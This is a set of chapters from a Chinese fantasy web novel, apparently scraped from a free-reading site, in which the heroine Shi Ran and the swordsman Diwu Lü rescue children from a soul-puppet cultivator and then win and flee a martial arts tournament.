“天堂有路你不走,地狱无门你偏来投。本来只想在小孩子身上练手,不想你落在了我的手里。武功这般高强的人,做成魂傀后,一定能为我杀尽敌人吧。” 说完面色突得难看起来,喷出了一口血。 他身后,七个小孩僵直身子,整齐排列着。 连第五律都遭了毒手,她一定打不过。施燃心想,眼下她得先想办法保全自己跟这些孩子,再去救第五律。 她转过头,示意孩子们折返。那些孩子倒也懂事,不言不语猫着身子折回原地。 到了地方,孩子们团团围住施燃问着怎么办。 施燃心里琢磨。 樊岳收拾了第五律,一定会过来找她。 她得找地方出去。 前边的洞口被樊岳堵住,依她先前的推断,这里一定有另一个出口,她要把另一个出口找出来。 施燃揽住围着她的小孩,告诉他们分散去找出口,不管找没找到,一刻钟后都要回这里相聚。 孩子们听后,虽然神情有些忐忑,但还是听施燃的话四处散去。 施燃也没闲着,到处探寻。 到了约定时间,孩子们都回来了。一问,都没找到。 施燃面色凝重,有孩子抱着施燃的腿问: “姐姐……我们会死吗?” 施燃心中一恸,摸着小孩的头道:“姐姐不会让你们死的。” 怕这些孩子有遗漏之处,施燃细细问了他们所见之事。有孩子说: “我看见有好多好大,像被子一样的草。”那孩子张开双臂比划着,“挂在墙上,像娘给我煮的面条。” 施燃初听不在意,后猛得一想,当初大妞带她去的洞口,不就是杂草枯树挡着吗?想到此处,施燃立即让这孩子带路。 到了那处,光线微明,施燃心中越发欢喜,她抬头望着,与那孩子说的一点不差,发枯、粗壮的树藤垂落在洞壁上,层层叠叠,交相错乱,如同野人的头发。 施燃用力拉扯,这树藤一根连着一根,从洞壁连着碎泥一起剥落,刹那间,几道明晃晃的光线射进来,让这幽深的洞口发白。 又刨开这些树藤,探头往外一望,只见外边全是树木。施燃大喜,招呼小孩们出来。 外边树木上鸟雀声作响,孩子们就同这些鸟雀般欢呼着,高涨的情绪溢于言表。 施燃只高兴了一瞬间。想到第五律,她的担忧就如泉水般从心底涌出来。 得想个办法把他给救出来。 她用力踩了踩脚底的泥土,是松软的。 …… 太阳逐渐西沉,天色暗了下来。 施燃跑到她与第五律进去的洞口,抓了几株杂草掩住脸,小心探了过去。 只见第五律被五花大绑着,上半身被脱得精光,身上血赤呼啦地涂着些鬼画符。他双眼紧闭,嘴唇起壳,面色发青。 施燃再仔细一瞧,才发现涓涓血流从他手腕处流出。 怪不得面色这么难看。 而樊岳也紧闭着眼,双手双脚在颇有韵律地比划,看起来既神秘又诡异。 这恰好便宜施燃了。 她抓起一把细沙,朝第五律头上撒去。 轻微的不适感让第五律睁开眼、抬起头。 他瞧见他以为本该走了的人的脸,那张脸上的神情既欢喜又焦虑。 楚施燃……她应该是逃走了的。 樊岳捆好他放血后就去更深处的洞穴找楚施燃。不知道过了多久,樊岳骂骂咧咧地回来,樊岳非常愤怒,他听见樊岳这样说——狗东西,跑哪里去了,剩下的魂傀人具也不见了,该不会被那臭娘们带跑了吧,是从哪里跑的,找都找不到…… 随后樊岳的声音越来越小,也许是他觉得樊岳的声音越来越小,他好像什么都听不见了。 他闭上眼睛来。 任由樊岳动作。 又睁开眼睛来。 看见了楚施燃的脸。 周围的声音开始清晰起来,他听到了楚施燃的声音——好小的声音,但他知道她在说什么—— “尊贵的第五少爷,我来救你了”。 施燃说出这句话后,抓起一旁的石子,就朝樊岳砸去。 “樊岳——你姑奶奶我回来了!” 樊岳做法被人打断,火气冲天,睁眼一瞧,见搞鬼的是施燃,想起今天这些破事都由眼前这个小娘们而起,只恨不得除之而后快。 施燃扒拉眼皮,冲樊岳做了个鬼脸。 “有本事就来抓我!抓不到我,今天我要把你做的恶心事公之于众,让天下人瞧瞧你的嘴脸。” 施燃的话恰好击中了樊岳心中的恐惧。 若这小娘们把这些事讲出去,传到无定城那就糟了。想到此,樊岳目露凶光。任何想要暴露他行踪的人都得死。 他就着岩壁的凸起跳上了地面。 施燃冲第五律眨了眨眼,便如兔子般跑开了。 她有意将樊岳引到狭窄的山道上。 有繁茂的荆棘挡住了她的身影,她还会故意停留一会儿,也不知道是不是小猪舞跳多了有肌肉记忆,停下的那一瞬间,她还会顺势扭一扭,用屁股在空气中画个圈拱火。 樊岳看后更加怒火中烧。 就这么个三脚猫功夫的小娘 9. 结束 《舞修的我是真的能拯救世界!》全本免费阅读 “你就先别管樊岳了。”施燃把第五律从洞出扯出来,扔了金疮药给他,“你先治好自己再说吧。樊岳已经被我弄晕了。” 第五律扶住旁边的树站了起来,将金疮药倒在腹部,倒吸一口冷气。 “那些小孩手上有毒,我一个不慎着了道,但这毒并不厉害。” 施燃盯着第五律的肩,肩上原本该有银钩留下的、黄豆般大小的血洞,也不知道是不是她的错觉,这血洞好像变成绿豆大小了。 察觉到施燃投到自己上半身的视线,第五律耳根皴染成浅红,将上衣拢着,眼眸低垂。 “带我去看樊岳吧。” 施燃再四确定第五律撑得住,将他的佩剑找回拿给他后,才带他跟孩子们去找了樊岳。 樊岳仍在洞中晕厥着,第五律用剑鞘敲醒他。 “那些孩子,到底是什么东西?”第五律眉目凌厉,开始审问。 “那些孩子……应该是死了,我听另外一波孩子说的。”说着,施燃拉着围在她旁边其中一孩子的手。 “能不能告诉姐姐,你们到底经历了什么。” 这些孩子七嘴八舌、颠三倒四说着,施燃两人这才拼凑出事情的真相。 这樊岳三年前来到清泉镇,说是投奔他的叔叔。他为人热情大方,嘴皮子又利索,不到半年时间,跟街坊邻居都混得很熟。他院子里种了一颗柿子树,从不紧闭院门,小孩们喜欢到他那里串门摘柿子,久而久之,跟小孩们都认识了。 他明里暗里帮街坊们做事,状似无意间透漏自己武功高强,惹得清泉镇的人对他亲近中又掺杂了崇拜和敬畏,乐得小孩们跟他玩,可以学到东西。 在这期间,积刺山上有噬人老虎的事在清泉镇传得沸沸扬扬,本来还有镇民去山上采摘酸枣,有了这件事,那些酸枣便无人问津。 大人们知道事情的轻重,但小孩们不知道。樊岳说带孩子们去积刺山采蘑菇,孩子们就乐颠颠去了。 将孩子们骗至山洞囚住后,樊岳还自导自演了一出“英雄救人,尸骨无存”的好戏,让自己踪迹不明有了缘由。 之后用虎啸将到此寻找孩子的镇民吓退,彻底坐实“孩子们被老虎吃掉”的传言。 本来这件事樊岳做得天衣无缝,但奈何半路杀出两个陈咬金,就成了现在这副局面。 樊岳满面是血,虽是醒着,但奄奄一息,说不出话来。 第五律觉得樊岳在装模作样,一脚踹上他的脑袋,使之脖子好像要被折断。还是施燃害怕樊岳死了问不出那些孩子的事,劝住第五律,让他收住了脚。 “放了我……有……有……金银财宝给你们……”樊岳整张脸又红又肿,像个被充满的气球。 “你先告诉我们那些孩子是怎么回事。至于放了你……”施燃向第五律投去一瞥,“我们酌情考虑。” 施燃让第五律将樊岳从陷阱里提出来,扎扎实实给他全身捆住。第五律搜了他的身,从脚脖子里抽出两张纸。 “魂傀术?”施燃凑近第五律,念出纸上三个斗大的字。 “这人是魂修……”第五律紧皱眉头。 虽听说过,但他从未接触过魂修。 魂修诡秘,鲜少暴露身份与人打交道,正常人对魂修知之甚少,知道的人,大多也抱着敬而远之的态度。 抽出第五律手中两张纸,施燃略略翻了——魂具血尽,抽生魂,藏于槐器,葬于接天之处,吸月之精华,九日初成……再后面的,这纸上就没写了。 施燃仔细观察这几张纸,纸的边缘一部分呈现锯齿状,还有毛边。一看就是撕下来的。 谁家好人会把零星几张纸当成秘密藏在腿上。而且拿了半截就开始炼。她光看纸上的描述都觉得阴森恐怖,如果真的要炼,换作是她,会害怕炼出什么岔子反噬自身,这人跑到这荒山野岭、无人指教处炼……真的很奇怪。 施燃眼睛微眯,拈着这几张纸在樊岳面前晃悠。 “这东西……应该不属于你。” 樊岳虽面无表情,但眼皮突突跳了一下。 “这是你偷的?”施燃笑着问,语气中带着笃定。“你偷的是谁家的秘笈?我可以去找一找失主,这样的秘笈,丢了,主人一定很着急吧,若我们带着小偷去找苦主,你说……失主会不会给我们额外的、亿丢丢的奖励呢?”施燃拇指和食指相互揉搓,嘴角缓缓勾起。 “你们到底想要什么东西?”樊岳整个人颓败起来。 嘴风不严,开始松口了。 “那些孩子到底还有没有救?”施燃问着。 樊岳吐出一口血,“我只能勉强试一试。” 第五律扯住樊岳的衣领,将他拖拽进洞里,施燃紧随其后。 洞内,六个孩子依然僵直立着。施燃从放在草丛的包袱里拉出绳子,将这几个孩子团团捆在一起。 第五律将樊岳腿打断后,解开他的绳子。 “快点!”见樊岳手放在腰间磨磨蹭蹭,第五律踹了他一脚。 樊岳敢怒不敢言,从腰间解下锦囊,掏出六个木制的方块,大小似骰子。他瞥了一眼第五律,小心摊开手。 “这木块里有这些小孩子的生魂,把这槐器打开,生魂就会跑出来,但是我不知道生魂会不会回到这些小孩子身上。”他说话越发小心翼翼,“其余的……我也不知道……但时间过得越久,应该就越救不回来……” 听着樊岳的话,施燃眼珠子转向第五律,期望他这个本土人士能说出什么有营养的见解。但第五律也看向施燃,两人大眼瞪小眼,一个字都憋不出来。 “怎么办?”施燃问着。 “不知道。”第五律面无表情摇头。 施燃转身看着那些如同僵尸般的小孩,心中百感交集,既怕自己冲动害了这些小孩,又怕自己不冲动耽误了救这些小孩的时间,更怕这些小孩早就死了。 她从樊岳手里抓起六个木制方块,这些方块上面还刻着这些小孩的名字吴月、周饼、方文…… 如果可以的话,她想去找魂修帮忙。 但是找到几率太小了……时间又那么紧迫。 一时之间,那些明灭不定的情绪在她脑海中起起伏伏。 其实她可以打着找魂修的旗号,心安理得的什么都不做,可以不受良心的谴责。但是……这样真的好吗? 半晌,她吐出一口气。 无论最后的结果是什么,她都会负起责任。 她可是要拯救世界的女人,现在连六条命的责任都承担不了,以后怎么能承担起千千万万人命呢? 施燃紧盯着这些木块,一拳砸开。 六条绿色的影子从木渣里星散开来,胡乱在洞里飘着。施燃生害怕这些影子跑了,慌慌张张就要去将这些影子赶到孩子肉身旁边,还拉着第五律一起。 这些影子好像怕活人,竟真躲到孩子肉身旁,半晌,就被孩子们的肉身吸进去了。 只见孩子们眼睛有绿光闪烁,倏尔就沉寂在眼中。渐渐的,他们眼中有了活人的光芒,嘴里念着——娘。 无数次念着。 施燃从大喜过望到忧心,这些孩子们,该不会傻了吧。 她走上前去。孩子们竟开始动脚,围住她,不停叫娘。 她欲走,那些孩子也有走的倾向。 这是有雏鸟情节了? 施燃满头问号。 但好在事情圆满解决了。 这下,该解决罪魁祸首了。 身后跟着一群小鸭子的施燃走到了樊岳面前。 要说樊岳此刻的心情,那是比施燃还要高兴,毕竟这 11. 第五律挤奶记 《舞修的我是真的能拯救世界!》全本免费阅读 一团腥臭的土迎面洒向第五律,他偏了一下头,躲过这母驴的尥蹄子攻击。 紧握住手中的囊袋,第五律站起身来,他咬紧牙关,只觉得一团火直冲脑袋。 为什么他要在这里?为什么他会在这里! 事情还要从施燃请求第五律找奶喂猫崽子说起。 “不去。”第五律一开头是这样说的。 施燃撩起裤管,露出红肿的脚踝。 “我脚真的好疼,再多走了两步就废了。我脚废了不要紧,最重要的是会耽搁第五少爷的武道之路。” 施燃捂住嘴轻声说:“我怎么配耽误第五少爷呢,第五少爷把我丢下就行了。就让我一个人孤苦伶仃在这客栈里,自生自灭罢了。” 第五律皱眉,“你是我的丫鬟,我不会丢下你的。你不必这么担心。” “可是——”施燃低头看着手中的猫崽,“它好饿,它需要奶。” “我听说,在红坊最里面的巷子里,有一头母驴,它下了崽,现在有奶。施燃垂下眼眸道。” “你这猫是从哪里来的?” 施燃眼珠子一转。 “我想起第五少爷早起要吃饭,天没亮就去厨房给少爷做烤鱼。我在厨房门口瞧见这只猫崽,它蜷缩成一团,恹恹叫着,好不可怜。” “对了,我醒来时发现枕边多了一锭金子。我想了想,觉得是第五少爷给的,是吗?”施燃这般问着。 第五律“嗯”了一声。 “给你买衣服的。” “第五少爷真大方,第五少爷对人那么好,对小动物也一定会很好的吧,第五少爷……第五少爷……” 第五少爷……虽然魔音贯耳,但第五律心里说不出的舒坦。 他摸了摸腰间的跨剑,远眺前方,最后放言: “我会去的。” 他去了红坊最里面边的巷子,在走错十二个路口,绕了十六个圈子,问了二十个行人后,终于到达的目的地。 此时他的耐心已经耗尽了。 但他遇到了更棘手的事情——一个比驴更倔的臭老头。 一向很好使的金子这时也没了用武之地。 “啪”的一声,金子被掷在地上,那臭老头吹胡子瞪眼。 “拿开你的臭钱,我不稀罕。” 呸——老头在地上吐口水。 第五律把剑架子老头脖子上。 老头愤怒道:“你今天就是杀了我,将我弃尸于此,我也不会让你拿走我家小强的一滴奶。” 老头口水沫在空气翻飞,第五律歪过头,拿出丝绸帕子擦了脸,他胸腔不住起伏,他也不知道自己能忍多久。 “我要拿母驴的奶去喂猫崽子。”第五律咬着牙,“你给我一点吧。” 此话一出,老头子顺间换了个脸色。 几头牛驹、几只鸡崽成群结队从后门涌了进来,老头捞了一只鸡崽在怀里揉搓,哼哼两声。 “既然你要拿奶喂小崽子,我就如了你的愿吧。” 说着老头扔了一个囊袋给第五律,第五律接住。 “小强在后院,你用这皮袋子接奶。”老头如是说道。 第五律进了后院,后院中间有一磨盘,磨盘旁拴着一头黑驴,这驴正嚼着豆饼和麦麸。 他一靠近这驴,这驴后蹄就朝他扬过来。 老头子走进后院道:“你得等驴子吃完才挤奶啊,现在去,小心这驴踹你一脚。” 第五律顶着烈日等了一个时辰这驴才嚼吃完,他蹲身埋头将手探过去,只觉得手上一阵湿软,他顿觉恶心,用丝绸手帕裹了手,又探过去。 霎时,黑驴发出“啊嗷啊嗷”的叫声,尥蹄子就要朝第五律踢过去,第五律反应迅速,一个翻身往后撤躲开来,走了好几步才稳住身形。 他看着驴子的后腚,神色有些迷茫。 老头子露出油滑的笑容:“后生,挤奶这件事,你还得慢慢来啊。”说完抱着小鸡崽转身就离开。 第五律又蹲下,于是发生了开头那一幕。 他就不该干这事!他就不应该答应楚施燃找奶! 第五律拿出丝绸帕子擦了脸上腥臭的土,面无表情的想着。 他抽出剑,将剑架在驴脖子上,“你若不让我挤奶,你就死定了。”驴鼻孔喘着粗气,发出凄厉的嘶鸣。 老头听到驴叫,忙跑过来,见着这副场景,一巴掌就呼上第五律的脑袋,“你想对小强做什么?” 第五律摸着被打处,“它不让我挤奶。” 老头又连呼第五律脑袋几巴掌,“它不让你挤奶是因为你的手法不对,你把剑放到它脖子上什么用,它又不会让奶自动到你囊袋里。” 老头开始指导第五律挤奶。 “嗯……对,要慢慢的,让小强感到舒适。” “等一下,你手太重,蹲低一点,嗯,对。” “学驴驹叫,小强出奶会快些……学啊!” “……” “啊嗷——” “还要给小强哼曲子,小强最喜欢听舒缓的曲子了……你张嘴,吭声啊……” “哼~哼~哼~” “算了,小伙子,你别唱了,小强给你唱没奶了。” 日头西斜,天渐渐阴了,可第五律还是满头大汗,他又抽出一张丝绸帕子擦了擦额头。 囊袋里的声音由清脆变得沉闷,驴奶逐渐溢出来,流到他手上。 他喜出望外,这件事情终于干完了。 他将楔子按进囊袋,提起囊袋便走。 “小伙子。”老头子喊住了第五律,“你是不是该给小强弄点伙食。”< 13. 扬名(上) 《舞修的我是真的能拯救世界!》全本免费阅读 施燃紧随着第五律进了城门。 刚巧,城门不远处就是一家武馆,省了施燃找武馆的功夫。 武馆牌匾上写着“绝世武馆”,旁边插着两竖旌旗,上面写着淋漓的大字,以武会友。施燃瞧着,心思一转。大门两侧有多人把守,这些人皆年轻力壮,看起来架势颇大。 第五律一如既往像个愣头鹅闯了进去,不出意外地被人用剑拦住。两把剑横亘在第五律腰上,守卫询问第五律的来意。 “自然是来比武的。”第五律答道。 “有请帖吗?”守卫又问。 “自然是没——”这话还未完,施燃一把拉住第五律的袖子,“请帖自然是有的,不过我们来得匆忙,忘记带了。稍等片刻,我们立刻就过来。” 有腰挎宝剑的少年人挤过第五律,身后的家仆将请帖递给守卫。守卫恭敬接过,虚虚翻了两眼,将人请了进去。走进不过两步,便有两个五官端正的婢女引人入座。 施燃将第五律拉出去,问了路人,径直往书屋走去。 第五律:“为何不进去,武馆就在眼前。” 施燃手掩住嘴,声音压低道: “第五少爷,今日这武馆应该邀请了许多武道中人,你如果硬闯进去,那些人一旦同仇敌忾,你就会被人围攻,更有可能被人当做以武会友前的开胃菜。” 第五律皱眉: “你的意思是,我第五律还打不过这些人!” 眼见第五律神色不对劲,误会了她的意思,施燃赶紧扯住第五律的袖子,“我没有这个意思,我的想法是以更加稳妥的方式进去。你是去比武的,不是去被人群殴的。” “如果有合适的身份,那你去比武也就名正言顺。” “怎么做?”第五律垂眸。 施燃不回答,“你跟着我来就行了。” 不过半个时辰,施燃从一间书屋里信步走出,手里拈着一封请帖,眉目飞扬。那请帖封面黑金,显然同绝世武馆的请帖一模一样。 第五律跟在施燃身后,“他们不会看出来吗?” 施燃转过头,摇了摇那张请帖,“守卫检查请帖那么随意,不会看出来的。再来,如果守卫心血来潮想要认真检查,嘿嘿,山人自有妙计。” 第五律盯着施燃胸有成竹的神情,心竟也安定下来。 两人来到守卫前,施燃递过请帖。 守卫手指落到那黑金封面那一霎那,施燃故意压低声调,猝然降低的声音对人的注意力有本能的牵引,更别说这说话的内容是—— “少爷,我只跟你说这话,你别告诉其他人。”施燃覆耳。 温热的鼻息扑打到第五律颈脖,第五律只觉得痒酥酥,似被绒毛划过,背挺得更直,手指不自觉蜷缩。 “老爷说,他要将怀了你孩子的小芳姐姐收做第八十八房小妾——” 第五律瞳孔收缩,薄薄的嘴唇微张,发愣望着施燃,仿佛被这消息打击得说不出话来。 守卫们眼珠子骨碌往施燃方向转,侧耳倾听,期待施燃再说出什么大户人家的腌臜之事,满足他们的好奇心与窥探欲。 施燃这话说出口来,突得捂住口,“少爷,你就当我没说过这话吧。”她好似才明白自己处境,脸色一变,不耐烦地问守卫: “你们检查完没有!” 守卫们回过神来,将请帖收下,让施燃二人进去了。 第五律落了座,施燃立在他身后,观察四周。 里面有几十号人物,桌上放着、手里拿着、腰间挎着、身后仆人捧着剑、刀、斧之类的兵器,大多是青年人,服饰利落且华贵,一眼望去便知道不是俗人,与以前的武馆是天壤之别。 挂在施燃腰间的梨花饿得喵喵叫,施燃垂下头,拿出随身带着的汤匙,从囊袋中倒出驴奶,喂给梨花,不过几勺,囊袋便空了。 梨花却还没吃饱,用湿漉漉的眼睛望着施燃,施燃一下心就软了,埋首到第五律耳边。 “第五少爷,没驴奶了,你让这武馆的人给些奶吧。” 第五律紧绷着身子,唤了身边的婢女,提出了自己的要求。 婢女面有难色,但还是道:“且容小婢去问问。” 婢女走后,陆陆续续进了许多人,将空座填满。 一时间寒暄之声不绝于耳,人皆抱拳鞠躬,面色或喜或怒。有人从一旁的虎噬鹿屏风后走 14. 扬名(中) 《舞修的我是真的能拯救世界!》全本免费阅读 日影渐移,众人脸色皆凝重。 弯刀在空中反射出银光,叮叮两声,落了地。 身材颀长的瘦子抱拳,“承让了。” 这是少年赢的第八场,自从他上台,便从未输过。 室内一片寂静。 “还有人要上来吗?”少年问着。 无人应答。 眼见这少年就要霸台,作为比武发起人,朱岭笑着看向离自己最近的人,那人身材矮小,极为精瘦,双目内敛平静,娃娃脸。 “龙雀,该你下场了。” 被朱岭这么一点,众人目光皆聚焦在他身上,他不急不缓放下茶杯。 “他,还不必我出手。在场能胜他之人,有三个。” “让那两人先来吧。”龙雀笑着,伸手向对面一位姑娘做了请的手势。 那姑娘腰挎双刀,剑眉没入两鬓,五官凌厉动人。 她冷静道: “既然龙雀你这样说了,我周一心就恭敬不如从命。” 周一心大步流星走到台上,取下双刀。使得虎虎生风,速度极快。那少年一见这动静,深知她与先前的阿猫阿狗不同,弯腰,脚后跨,剑横在脖颈的高度,做出十足的架势。 饶是如此,那少年也被周一心飞刺过来的双刀震得双手发麻。就在少年心神慌乱的一瞬间,周一心撤了一把刀,引得少年身体前倾,脚下就要不稳,周一心捅入少年的腹部,少年卸力转身,才堪堪躲过。 两人交手数个回合,少年终是败下阵来。 施燃看得入迷,进入这个世界以后,这是她第一次看的正儿八经的打斗,往常那些人,多数都不是第五律一合之敌。她心里记着两人动作的拆合,在脑海中模拟、思考,互换位置拆解对方的动作。 少年气呼呼抱拳,“承让了。” 周一心并不理会他,只对龙雀道: “该你了。” 龙雀摇头,“不,还有一人未上场。”他望向对面的第五律,“少侠尊姓大名?” 所有人的聚焦在第五律身上。 有人言:“这位少侠,看着眼生,不知道是哪位武馆之主的麒麟子?亦或是关门弟子。” 这次比武大会,参加者多是近处武馆之人。说是近处,但距离最近的,赶来也需大半个月,说是一方精英子弟的较量都不为过。 第五律直视着这些人,冷淡张口:“第五律,我——” 施燃连忙打断第五律的话,她知道,若要将接下来的场面都交给第五律去处理,他们在目的没达到之前,就会被毫不留情地赶出去。 她滑到第五律身前,下颌微扬,眼珠子往屋顶上瞧,“我们少爷日日夜夜闭关练功,你们不知道是正常的,若不是我们馆主,也就是我们家老爷让少爷出门历练,我们少爷还不稀罕来呢。” 施燃抿嘴一笑,“你们倒是有几分眼力,知道我们家少爷武功高强,不似凡人。”她撇过头,笑吟吟对着第五律,“少爷,既然你的才华像黑夜之中的萤火虫一样藏不住,那就给大家看看吧,也不负你多年的苦练。” 第五律摸着剑鞘,低头,耳根微红,“嗯”了一声。 有侍女过来,将端着的牛奶放到木桌上,行礼退下。施燃退到第五律身侧,从袖子拿出梨花的专用木勺,小心喂着梨花,梨花吃了几勺牛奶,喵喵叫了几声便不吃了。 第五律起了身。 施燃将梨花揣进锦囊,端起碗,将剩下的牛奶倒入皮囊给梨花做储备粮。 兴许是碗口太大了,她一手掌不住,碗沿从拇指溜走,眼见牛奶就要撒到地面之时。第五律转身,脚步迅疾,一手伸过,手指触到搪瓷碗底,掌侧扶住了碗。 施燃连忙抓紧,放到碗底的指尖碰到了温热和蒙上一层软皮的坚硬,还未等她有什么反应,第五律忙抽出手,转身拔剑上台,看着周一心道: “开始比武吧。”被碰过的手指尖微颤。 施燃在台下双手做喇叭状:“第五少爷,加油啊!” 她话还未落在地上,台上的两人便打斗起来了。 与其他较量不同的是,这次的对手周一心是个走轻灵路线的人,她速度极快,腿上的功夫繁复多变,让人眼花缭乱。 她先近了第五律的身,双刀往第五律脖子上划,第五律仰面躲过。以她的经验,这时的人往往下盘不稳,只要她攻击腿下,再配合连续不断的攻势,胜利便会手到擒来。 她以为她快赢了,内心有一丝欣喜,嘴角微微上扬,双刀直奔第五律大腿。第五律不动如山。周一心只觉得自己的刀刃砍到的不是□□,而是块历经风吹雨打的岩石,她抬头瞧第五律的脸,眼神惊异。 第五律冷眼以视,膝盖顶住她腹部,周一心当场呕出血来,她还来不及擦拭嘴角,又被一脚踹了出去。她趴在地上,挣扎起身,又怕又怨盯着第五律。 第五律:“你不该近我身。”< 15. 扬名(下) 《舞修的我是真的能拯救世界!》全本免费阅读 要她下去,现在不正是好时机吗? 施燃不顾龙雀惊异的目光,跳起了小猪舞。龙雀微微皱眉,将视线移到第五律身上,“第五少侠,是否该让你家婢女下去了。她这些动作,着实不雅。” 第五律面无表情:“等她跳完。” 龙雀闭了嘴,但眉头越皱越深,目光也越来越不善。围观的众人嘴巴翕动,不知道说什么好。 施燃一舞完毕,见众人都看向她,落落大方拈起裙摆,向众人行了个屈膝礼,“谢谢大家的观看和支持,我会继续努力的。”然后向四周点头,卖俏般留下个笑容,想像自己是个绝世舞星般谢幕退场。 她施施然走下台,伸手给众人打招呼。 在场的每个人眼神都是迷茫而惊奇的,他们面面相觑,透过对方的眼睛,都看到了与自己相同的疑惑。 “这丫鬟,疯疯癫癫的,怕不是脑子坏了。”有人出言。 “可我观她刚才说话口齿伶俐……”一人接话。 “那就是时疯时不疯了。” “哎!”有人长叹一声,“真可惜这丫鬟顶好的容貌了。” 一片哗然。 第五律既上台比武,自然座位就空了。施燃不客气地坐上,脑海中查看数据面版,小猪舞的熟练度是52,加了两个熟练度。 谁给的,施燃转头看向台上的龙雀,如果是他给的,那么这人并不如表面那般温和。 两人在台上开始比武。 “不若第五少侠先动作。”龙雀娃娃脸上有着浅浅笑意。第五律没跟他多话,拔剑就朝龙雀腰上刺进去。 当剑尖要碰上龙雀身体时,一圆滚滚的黑珠子弹过,将剑尖打偏了。 龙雀那张娃娃脸极为可亲,他笑道:“承让了。” 他身材矮小,身法更是灵活。 第五律从未与如此长度之人打交道,攻击要点明显有些偏差,他一剑又要刺去时,龙雀弯身躲过,一掌拍向第五律的腹部。 第五律愣了愣,随即后退几步。 “你是第一个不借用外力打到我的人。” 龙雀依旧微笑着:“谬赞了。”不过心中疑惑,他虽不是武修,体内爻气不多,但那掌多多少少含着爻气,一般人是吃不消的,这人看起来怎么像无事发生。 除非……这个第五少侠也爻气入体了。 那么这就棘手了。 龙雀翻手往空中一抓,指缝之间夹着九粒黑弹,若仔细看,这九粒黑弹上面泛着水光。 这九粒黑弹从指缝中弹射出去。 肩、颈、腰、腿、心脏……各个方向截然不同。 很难躲过。 但第五律身体在空中一阵翻腾,九粒黑弹全都落了地,上面的水光也没有了。 第五律看着地上的黑弹,出言:“你这武器,很不错。” 龙雀指缝中又夹上了三粒黑弹,这三粒黑弹波光粼粼,更是闪烁,“这三粒,更不错。”他以迅雷不及掩耳之速出了手,一粒脑袋、一粒咽喉、一粒心脏,每粒都奔着要害处去,出手狠辣。 这三粒黑弹速度比前面九粒更快。 第五律面色仍旧冷淡,他预备躲开之际,龙雀不知何时就冲到了他的跟前——速度竟然比那三粒黑弹更快。 龙雀对准第五律的大腿,就要一掌拍过去。第五律身形微动,就在这微动的一瞬间,奔向第五律咽喉的黑弹到达了它的目的地。 龙雀面色一喜。 那粒黑弹威力巨大,就算停在了第五律的咽喉上,还在极速旋转着。 这样下去,第五律会被穿透喉咙而死的。 台下的施燃焦急道:“第五律……第五律……”见第五律没有反应,她看向朱岭,“我们——” “我们什么?”这次换第五律截过施燃的话头,他抓住那粒黑弹,黑弹在他掌心发出摩擦声。 紧握片刻,手中没了声音。 他紧紧捏住,手背青筋暴起,最后微微松手,黑弹化为齑粉从第五律手中流出。 他低头抓住龙雀的颈脖,一脚脚踹向龙雀的脑袋,直踹得龙雀头破血流、脑袋发肿。 龙雀张着破烂的唇问道:“你……爻气入体……多久了。” 第五律又一脚踹了上去,拔出了剑。 这一动作让朱岭大惊,“少侠,不可,切勿伤人性命。” 第五律冷面不语,依旧我行我素。 施燃大叫:“第五少爷,剑下留人啊。” 如果他们在这儿杀了人,今天就很难走出这个武馆。这些人都互相认识,难免有人出于情分出来报仇。就算离开这里,更有可能的是……他们会被当做杀人犯通缉,以后的路就不好走。 第五律看着施燃,沉默半晌,放下了剑。随即将龙雀踹下了台。龙雀痛晕过去,被人抬走。 朱岭出来打圆场,“少侠既然赢了,当得起这场比武的魁首。”他双手一拍,有几个侍女端着盖红绸布的木盘从两侧走出。 第五律摇摇头。 手指着与他相似的少年,勾勾手指。 少年瞪大眼睛,指的是我?他疑惑的眼神透露这个询问。第五律点头,又勾手指。 少年已被周一心打败,他不知道这打败了周一心与龙雀的少年为何指明要与他一战。 但既然他都这样做了,那么自己身上一定有可取之处。 他内心一喜,高兴得跳上台。 他在第五律手下不过三回合就落败了,比武一结束,便灰溜溜地跳下台。 第五律乜斜看了一眼施燃,见施燃没看他,脸上也没有什么多余的表情,身子绷得更紧了。 这时侍卫走进来,与朱岭耳语,朱岭瞧着第五律,神色凝重,紧接着,眼珠子就滴溜溜转了起来。 朱岭将第五律请下台,请第五律参加庆功晚宴。 第五律看了一眼施燃,见她没反对,才微微点头。 …… 夜色降临。 月光铺满了地面,宴上众人觥筹交错,热闹喧哗。有人邀第五律喝酒,第五律冷面无言。有人打探第五律的来历,第五律一言不发。诸如此类的事多了,众人也不往第五律跟前凑,自顾自玩乐去了。 跟龙雀比武之后,第五律都没说过话。 施燃知晓第五律虽然寡言少语,但还不至于到如此地步。 她坐到第五律身边,摸向自己的咽喉,“这里是不是出问题了,疼吗?” 第五律看向那一截雪白的弧度,忙低下头,又点点头。 “现在晚了,医馆都关门了,明天一早我们就去找大夫治嗓子。” 第五律点头。 朱岭端着酒杯过来,笑容 16. 逃出 《舞修的我是真的能拯救世界!》全本免费阅读 偌大的月亮架在歪脖子杏树上,冷漠地看着树下发生的一切。 数十个武生提起刀剑冲向第五律与施燃,第五律偏身躲过,拿剑削断这些人的手脚,将他们一脚踹开来。 守在门后的侍卫试图擒住施燃这个软柿子,施燃捡起地上的剑,胡乱刺着,将她面前的几人吓退。 两人背对背贴着。 施燃低声道:“先冲到门口,然后再想办法出去。” 第五律点头,面色凝重。 月光将两人的脸照得惨白,一如他们的心情。 第五律缓缓往后退,施燃跟着他的脚步动作。 朱岭走南闯北,对人对事颇有经验,哪能看不出施燃两人的想法。他看向身后的龙雀,龙雀点点头,手夹缝之间忽得出现一粒金弹。 “这枚金铜球,有我一半的爻气,若是这击不成,我就不再出手了。”脸上肿起的肉将龙雀还算大的眼睛挤成一条缝。 朱岭点头,让人发大攻势,为龙雀的攻击找机会。 被第五律削了腿脚的人往后撤,但又有几十个武艺还算精良的壮汉攻了上去。 双拳难敌四手,就算第五律武功远超这些人,时间一久,难免露出一星半点的破绽。 而那双狡诈而阴狠的眼睛,找到了这点破绽,立时,那枚金铜球在双指之间极速旋转。 施燃慌乱躲过几个人的刀剑,刺伤了几人,在第五律挡住了极大半火力之下,勉强撑着。 这样下去不行!施燃心想,她扭头大叫: “你们这些人都傻了吗?我们少爷武功高强,杀你们如切瓜砍菜,你们就算不死,也会落个残疾,又何必尽心尽力呢?” 她知道这单薄的几句话无法让这些人住手,但只要他们因为这些话,攻上来的时候有一丝一毫的犹豫,那她与第五律逃出生天的几率就大了几分。 这时施燃二人距离大门还有五米。 朱岭冷哼一声,“小丫头片子,伶牙俐齿。”他瞥视着龙雀。 龙雀手指上那枚金铜球终于发射出去,于刀光剑影之中,被月光涂得金里透银时,如一道闪电,击向第五律的膝盖。 